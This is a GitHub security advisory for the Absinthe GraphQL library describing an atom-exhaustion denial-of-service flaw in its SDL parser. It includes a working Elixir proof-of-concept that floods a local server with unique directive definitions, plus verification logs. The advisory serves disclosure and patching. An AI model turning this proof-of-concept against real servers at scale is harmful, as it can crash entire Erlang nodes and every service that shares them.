Skip to content

Absinthe: Unbounded atom creation from parsed directive name

High severity GitHub Reviewed Published May 8, 2026 in absinthe-graphql/absinthe • Updated May 14, 2026

Package

erlang absinthe (Erlang)

Affected versions

>= 1.5.0, < 1.10.2

Patched versions

1.10.2

Description

Summary

When Absinthe parses a GraphQL SDL document, every directive @<name> definition is converted into a freshly created atom without any allow-list or length cap. Because atoms are never garbage-collected and the BEAM has a hard ~1,048,576 atom-table limit, any application that feeds attacker-controlled SDL through Absinthe's parser can be crashed (whole VM termination) by submitting a document containing enough unique directive names.

Introduced in absinthe-graphql/absinthe@d0eae77

Details

In lib/absinthe/language/directive_definition.ex:27, the Blueprint.from_ast/2 conversion does:

Macro.underscore(node.name) |> String.to_atom()

node.name is taken verbatim from the parsed GraphQL document, so the atom is created before the directive has been validated against any known schema. There is no use of String.to_existing_atom/1, no length cap, and no allow-list. Each unique directive name in the input permanently consumes one slot in the global atom table.

Any code path that runs Absinthe.Phase.Parse (or any equivalent that ultimately calls Absinthe.Blueprint.Draft.convert/2 on a parsed DirectiveDefinition node) on untrusted text is exposed — for example, a schema-upload endpoint, a federation gateway that ingests remote SDL, an introspection-to-SDL converter, or any developer tool that runs the parser over user-supplied documents. An attacker only needs to submit one (or a handful of) SDL documents that together contain ~1M unique directive @<random> definitions to exhaust the atom table and crash the BEAM.

The same vulnerablity was found in these files as well:

  • lib/absinthe/language/enum_type_definition.ex:23
  • lib/absinthe/language/field_definition.ex:27
  • lib/absinthe/language/input_object_type_definition.ex:24
  • lib/absinthe/language/input_value_definition.ex:31
  • lib/absinthe/language/interface_type_definition.ex:26
  • lib/absinthe/language/object_type_definition.ex:27
  • lib/absinthe/language/scalar_type_definition.ex:23
  • lib/absinthe/language/union_type_definition.ex:24
  • maybe others too.

Please do a search&replace in the whole project.

PoC

A script that parses a generated SDL document containing many unique directive @<random> definitions through Absinthe and demonstrates unbounded atom-table growth (eventually crashing the VM) is attached at the end of this report.

Impact

This is an unauthenticated denial-of-service vulnerability (atom-table exhaustion leading to BEAM VM crash) affecting any application that passes untrusted GraphQL SDL through Absinthe's parser. The crash takes down the entire Erlang node, not just the request handler, so all unrelated workloads sharing the VM are also impacted. The only precondition is that attacker-controlled text reaches the SDL parser; no authentication, schema privileges, or query execution are required.

Scripts and Logs

# Verifies: Unbounded atom creation from parsed directive name

Mix.install([
  {:absinthe, "~> 1.7"},
  {:absinthe_plug, "~> 1.5"},
  {:bandit, "~> 1.5"},
  {:plug, "~> 1.16"},
  {:jason, "~> 1.4"},
  {:req, "~> 0.5"}
])

# Minimal Absinthe schema -- the only thing it needs to do is exist
# so that Absinthe.Plug will parse incoming GraphQL documents.
defmodule DemoSchema do
  use Absinthe.Schema

  query do
    field :hello, :string do
      resolve fn _, _, _ -> {:ok, "world"} end
    end
  end
end

# Standard absinthe_plug HTTP entry point. This is the public
# trust boundary: anyone who can reach the server can POST a
# GraphQL document, which Absinthe will parse and lower into a
# Blueprint -- the path that mints atoms from directive names.
defmodule Router do
  use Plug.Router

  plug Plug.Parsers,
    parsers: [:urlencoded, :multipart, :json, Absinthe.Plug.Parser],
    pass: ["*/*"],
    json_decoder: Jason

  plug :match
  plug :dispatch

  forward "/graphql", to: Absinthe.Plug, init_opts: [schema: DemoSchema]

  match _ do
    send_resp(conn, 404, "not found")
  end
end

port = 41_731
{:ok, server_pid} = Bandit.start_link(plug: Router, port: port, startup_log: false)

base = "http://127.0.0.1:#{port}/graphql"

# Attacker-controlled GraphQL document: a flood of unique directive
# definitions plus a trivial operation. Absinthe parses the whole
# document and converts each DirectiveDefinition AST node into a
# Blueprint, calling String.to_atom/1 on every directive name along
# the way (lib/absinthe/language/directive_definition.ex:27).
n = 5_000
random_tag = :crypto.strong_rand_bytes(4) |> Base.encode16(case: :lower)

directives =
  1..n
  |> Enum.map_join("\n", fn i ->
    "directive @atomdos_#{random_tag}_#{i} on FIELD"
  end)

document = directives <> "\nquery { hello }\n"

before_atoms = :erlang.system_info(:atom_count)

response =
  Req.post!(base,
    headers: [{"content-type", "application/graphql"}],
    body: document,
    receive_timeout: 60_000
  )

after_atoms = :erlang.system_info(:atom_count)
delta = after_atoms - before_atoms

IO.puts("HTTP status:        #{response.status}")
IO.puts("payload directives: #{n}")
IO.puts("atom_count before:  #{before_atoms}")
IO.puts("atom_count after:   #{after_atoms}")
IO.puts("delta:              #{delta}")

# Tear the listener down so the script can be re-run cleanly.
Process.exit(server_pid, :normal)

result =
  if delta >= n do
    "VERIFIED: a single HTTP POST to /graphql minted #{delta} new atoms (>= #{n} attacker-supplied directive names); BEAM atom table (~1,048,576 cap) is exhaustible by an outside attacker via Absinthe.Plug -> Absinthe.Language.DirectiveDefinition."
  else
    "NOT VERIFIED: only #{delta} new atoms were created for #{n} unique directive names sent over HTTP."
  end

IO.puts(result)

Logs

HTTP status:        200
payload directives: 5000
atom_count before:  26049
atom_count after:   32581
delta:              6532
VERIFIED: a single HTTP POST to /graphql minted 6532 new atoms (>= 5000 attacker-supplied directive names)

References

@cschiewek cschiewek published to absinthe-graphql/absinthe May 8, 2026
Published by the National Vulnerability Database May 8, 2026
Published to the GitHub Advisory Database May 14, 2026
Reviewed May 14, 2026
Last updated May 14, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(20th percentile)

Weaknesses

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

CVE ID

CVE-2026-42793

GHSA ID

GHSA-qf4g-9fqq-mmm7

Credits

Dependabot alerts are not supported on some or all of the ecosystems on this advisory.

Learn more about GitHub language support

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.